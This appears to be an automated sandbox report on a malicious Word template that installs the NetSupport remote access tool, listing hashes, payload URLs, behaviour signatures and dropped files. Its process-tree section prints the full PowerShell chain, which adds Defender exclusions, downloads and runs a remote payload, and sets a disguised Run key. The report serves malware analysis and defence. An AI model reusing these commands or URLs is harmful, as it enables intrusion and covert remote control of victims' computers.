Analysis
-
max time kernel
135s -
max time network
148s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
18-04-2023 18:39
Behavioral task
behavioral1
Sample
newf.dotm
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
newf.dotm
Resource
win10v2004-20230220-en
General
-
Target
newf.dotm
-
Size
17KB
-
MD5
175722ba98f8f2715841c2c22026b7c8
-
SHA1
23aab879b915d58e4f8eb8d1399d33963ce2ecb4
-
SHA256
9969a0b62356c03aecf524ba69c136e675792b435eaf604c12dc5d36ed9c8aae
-
SHA512
e1be8ad4704ac71e2afc7d53f7273942f13446cbf31bbf40b2afc308209522298d32be3bfb3011dce224b39e335c77985c462aa7488280dc229299296cf6d425
-
SSDEEP
384:tmtriu1E3VPxAYwmhr9BiNiC78QyRC6hIm6akwLWdxdIZYB3S:q11gpxAYFhTiNV8QyRp2akw6LIOw
Malware Config
Extracted
https://bitbucket.org/foxxlrep/repo/downloads/zip.zip
Extracted
https://gold-fish.top/glazgo.zip
Signatures
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3268 508 powershell.exe WINWORD.EXE -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 33 2032 powershell.exe 35 2032 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
client32.exepid process 2084 client32.exe -
Loads dropped DLL 5 IoCs
Processes:
client32.exepid process 2084 client32.exe 2084 client32.exe 2084 client32.exe 2084 client32.exe 2084 client32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDrveSync = "C:\\Users\\Admin\\AppData\\Roaming\\OneDrveSync\\client32.exe" powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 508 WINWORD.EXE 508 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepowershell.exepid process 3268 powershell.exe 3268 powershell.exe 2032 powershell.exe 2032 powershell.exe 4984 powershell.exe 4984 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exepowershell.exepowershell.execlient32.exedescription pid process Token: SeDebugPrivilege 3268 powershell.exe Token: SeDebugPrivilege 2032 powershell.exe Token: SeDebugPrivilege 4984 powershell.exe Token: SeSecurityPrivilege 2084 client32.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
client32.exepid process 2084 client32.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
WINWORD.EXEpowershell.exepowershell.exepowershell.exedescription pid process target process PID 508 wrote to memory of 3268 508 WINWORD.EXE powershell.exe PID 508 wrote to memory of 3268 508 WINWORD.EXE powershell.exe PID 3268 wrote to memory of 2032 3268 powershell.exe powershell.exe PID 3268 wrote to memory of 2032 3268 powershell.exe powershell.exe PID 2032 wrote to memory of 4984 2032 powershell.exe powershell.exe PID 2032 wrote to memory of 4984 2032 powershell.exe powershell.exe PID 4984 wrote to memory of 2084 4984 powershell.exe client32.exe PID 4984 wrote to memory of 2084 4984 powershell.exe client32.exe PID 4984 wrote to memory of 2084 4984 powershell.exe client32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\newf.dotm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -e cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACAALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAGIAeQBwAGEAcwBzACAALQBuAG8AcAByAG8AZgBpAGwAZQAgAC0AdwBpAG4AZABvAHcAcwB0AHkAbABlACAAaABpAGQAZABlAG4AIAAtAGMAbwBtAG0AYQBuAGQAIAAiAE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACcAQwA6AFwAXABUAGUAbQBwAFwAXAAnACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFQAZQBtAHAAXAAnADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAJwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AZgBvAHgAeABsAHIAZQBwAC8AcgBlAHAAbwAvAGQAbwB3AG4AbABvAGEAZABzAC8AegBpAHAALgB6AGkAcAAnACwAJwBDADoAXABcAFQAZQBtAHAAXABcAE4AZQB3AGYAaQBsAGUALgB6AGkAcAAnACkAOwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAtAFAAYQB0AGgAIAAnAEMAOgBcAFwAVABlAG0AcABcAFwATgBlAHcAZgBpAGwAZQAuAHoAaQBwACcAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAJwBDADoAXABcAFQAZQBtAHAAXABcACcAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwBDADoAXABcAFQAZQBtAHAAXABcAHMAYwByAGkAcAB0AC4AcABzADEAJwAiAA==2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden -command "New-Item -Path 'C:\\Temp\\' -ItemType Directory;Add-MpPreference -ExclusionPath 'C:\Temp\';Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming';(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/foxxlrep/repo/downloads/zip.zip','C:\\Temp\\Newfile.zip');Expand-Archive -Path 'C:\\Temp\\Newfile.zip' -DestinationPath 'C:\\Temp\\' -Force;Start-Process powershell.exe -ArgumentList 'C:\\Temp\\script.ps1'"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\\Temp\\script.ps14⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\client32.exe"C:\Users\Admin\AppData\Roaming\OneDrveSync\client32.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Temp\script.ps1Filesize
505B
MD5126d0143c4a72b552b57453b5144bdae
SHA101a67e78816f59293209b0858d0d4c07aaee75a4
SHA2567f1bfe31baacd8ec5ae271d00b32bc39b244191a99349b570d4d16ef77a4eaab
SHA512a69ecbb60fbe62b1035ff254645e975ddbf9adc0e34bf0a392c7631b14b9ed0f1b081c7a6eed0cb24ebfb369caeba7eeb54b41e16db29304c2b334f60ce4261e
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5512c6cab650bfda6ef2995f6b515ed6f
SHA1fec40abf4f5d74ea7f8828cee83770e423203083
SHA25684871d83ecd410fb4ddede63061d9c521d876d47a8ffdbb8609378447ba0d262
SHA512638fffef25de1c3e850eb4f4668c4fdafed7bde042b130325daf323b45d2784916381b410219473b5bbacb4c11c6b8b7ab892b3d5695edb0b0a0785233e8e19b
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD55caad758326454b5788ec35315c4c304
SHA13aef8dba8042662a7fcf97e51047dc636b4d4724
SHA25683e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA5124e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD55caad758326454b5788ec35315c4c304
SHA13aef8dba8042662a7fcf97e51047dc636b4d4724
SHA25683e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA5124e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lhwc4tfl.saf.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
6KB
MD50e06326843bded5639cd20dc7e0cffcd
SHA1483ee90afc8f7a7e9e085da19d67e13474195e8c
SHA256a2ebf1cc2546b1c3e19862107a66f8e583e39d1e3d422782dd3efbf84a384603
SHA51224f261cac038e979e7fd3cc2a9e44f4ec5e7aef92f110a2f3c3f6c25450b6f58f05cc6d19442c219553f56d4d199915e186078e548ea751ff1a367d593fc2341
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
6KB
MD5606f6053361ddc87373c6311958810d9
SHA1aa26d4dc8b9febce9260fd01bee38fad38fefd54
SHA256435549dee27807e57071c23b181f2754b3b46f031fd9e4ff64fce72b714c2b83
SHA5127cadc74755baab77eb8ab2c90e24cfbed9a2ccafdadca35004b1acd891167fdb03fbecbd67256f732fd4ea7185c12fdc3d5bb8a691c24dab07515c0d0525745e
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\HTCTL32.DLLFilesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\HTCTL32.DLLFilesize
320KB
MD5c94005d2dcd2a54e40510344e0bb9435
SHA155b4a1620c5d0113811242c20bd9870a1e31d542
SHA2563c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA5122e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\MSVCR100.dllFilesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\NSM.LICFilesize
258B
MD51b41e64c60ca9dfadeb063cd822ab089
SHA1abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\PCICHEK.DLLFilesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\PCICL32.DLLFilesize
3.6MB
MD5d3d39180e85700f72aaae25e40c125ff
SHA1f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15
SHA25638684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
SHA512471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\PCICL32.dllFilesize
3.6MB
MD5d3d39180e85700f72aaae25e40c125ff
SHA1f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15
SHA25638684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5
SHA512471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\client32.exeFilesize
104KB
MD52286e6e9c894051c0e4a856b42ad7dcd
SHA1a506dda9ed2beba776fb9e6e61eb7e1f757ecdef
SHA256a16dacbab60ca49de99d2e5617a189dcb4b699577f6d66f1cccd96689de6947d
SHA5121afeac4f81879945bfc055d2303169e96a2a2c7e927f59be274997b059a1bc110175a24337ce05e9bc6e3e7fa80a1f799c4e71a4a43994af003b6db4c9e73bad
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\client32.exeFilesize
104KB
MD52286e6e9c894051c0e4a856b42ad7dcd
SHA1a506dda9ed2beba776fb9e6e61eb7e1f757ecdef
SHA256a16dacbab60ca49de99d2e5617a189dcb4b699577f6d66f1cccd96689de6947d
SHA5121afeac4f81879945bfc055d2303169e96a2a2c7e927f59be274997b059a1bc110175a24337ce05e9bc6e3e7fa80a1f799c4e71a4a43994af003b6db4c9e73bad
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\client32.exeFilesize
104KB
MD52286e6e9c894051c0e4a856b42ad7dcd
SHA1a506dda9ed2beba776fb9e6e61eb7e1f757ecdef
SHA256a16dacbab60ca49de99d2e5617a189dcb4b699577f6d66f1cccd96689de6947d
SHA5121afeac4f81879945bfc055d2303169e96a2a2c7e927f59be274997b059a1bc110175a24337ce05e9bc6e3e7fa80a1f799c4e71a4a43994af003b6db4c9e73bad
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\client32.iniFilesize
912B
MD578d234b551c55ebfb6bea085f5f2fd56
SHA1496cf3e4bb5d04274a5ff11dadec94849f2c886b
SHA2563878c1bd159521285f4170108fb390de7ab6589972185faa0a81795e2e1cbb01
SHA5126fe2274d95e56b33aab3a7fca38161a3dbfacd311409108200edbf47084cdfb2283aaf8d8b1fad03e15e4904419acb96a0c5c77283db8e3d18b6202aa466b130
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\msvcr100.dllFilesize
755KB
MD50e37fbfa79d349d672456923ec5fbbe3
SHA14e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA2568793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA5122bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\pcicapi.dllFilesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\pcicapi.dllFilesize
32KB
MD534dfb87e4200d852d1fb45dc48f93cfc
SHA135b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA2562d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2
-
C:\Users\Admin\AppData\Roaming\OneDrveSync\pcichek.dllFilesize
18KB
MD5104b30fef04433a2d2fd1d5f99f179fe
SHA1ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA5125efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f
-
memory/508-295-0x00007FF8F0DB0000-0x00007FF8F0DC0000-memory.dmpFilesize
64KB
-
memory/508-294-0x00007FF8F0DB0000-0x00007FF8F0DC0000-memory.dmpFilesize
64KB
-
memory/508-293-0x00007FF8F0DB0000-0x00007FF8F0DC0000-memory.dmpFilesize
64KB
-
memory/508-292-0x00007FF8F0DB0000-0x00007FF8F0DC0000-memory.dmpFilesize
64KB
-
memory/508-133-0x00007FF8F0DB0000-0x00007FF8F0DC0000-memory.dmpFilesize
64KB
-
memory/508-139-0x00007FF8EED50000-0x00007FF8EED60000-memory.dmpFilesize
64KB
-
memory/508-138-0x00007FF8EED50000-0x00007FF8EED60000-memory.dmpFilesize
64KB
-
memory/508-137-0x00007FF8F0DB0000-0x00007FF8F0DC0000-memory.dmpFilesize
64KB
-
memory/508-136-0x00007FF8F0DB0000-0x00007FF8F0DC0000-memory.dmpFilesize
64KB
-
memory/508-135-0x00007FF8F0DB0000-0x00007FF8F0DC0000-memory.dmpFilesize
64KB
-
memory/508-134-0x00007FF8F0DB0000-0x00007FF8F0DC0000-memory.dmpFilesize
64KB
-
memory/2032-179-0x000001E9AF790000-0x000001E9AF7A0000-memory.dmpFilesize
64KB
-
memory/2032-184-0x000001E9AF8E0000-0x000001E9AF8EA000-memory.dmpFilesize
40KB
-
memory/2032-180-0x000001E9AF790000-0x000001E9AF7A0000-memory.dmpFilesize
64KB
-
memory/2032-183-0x000001E9AF8F0000-0x000001E9AF902000-memory.dmpFilesize
72KB
-
memory/3268-158-0x0000026653BA0000-0x0000026653BC2000-memory.dmpFilesize
136KB
-
memory/3268-177-0x0000026653C70000-0x0000026653C80000-memory.dmpFilesize
64KB
-
memory/3268-178-0x0000026653C70000-0x0000026653C80000-memory.dmpFilesize
64KB
-
memory/4984-213-0x0000014335D50000-0x0000014335D64000-memory.dmpFilesize
80KB
-
memory/4984-210-0x000001431D580000-0x000001431D590000-memory.dmpFilesize
64KB
-
memory/4984-211-0x000001431D580000-0x000001431D590000-memory.dmpFilesize
64KB
-
memory/4984-212-0x000001431D580000-0x000001431D590000-memory.dmpFilesize
64KB
-
memory/4984-247-0x000001431D580000-0x000001431D590000-memory.dmpFilesize
64KB
-
memory/4984-245-0x000001431D580000-0x000001431D590000-memory.dmpFilesize
64KB
-
memory/4984-246-0x000001431D580000-0x000001431D590000-memory.dmpFilesize
64KB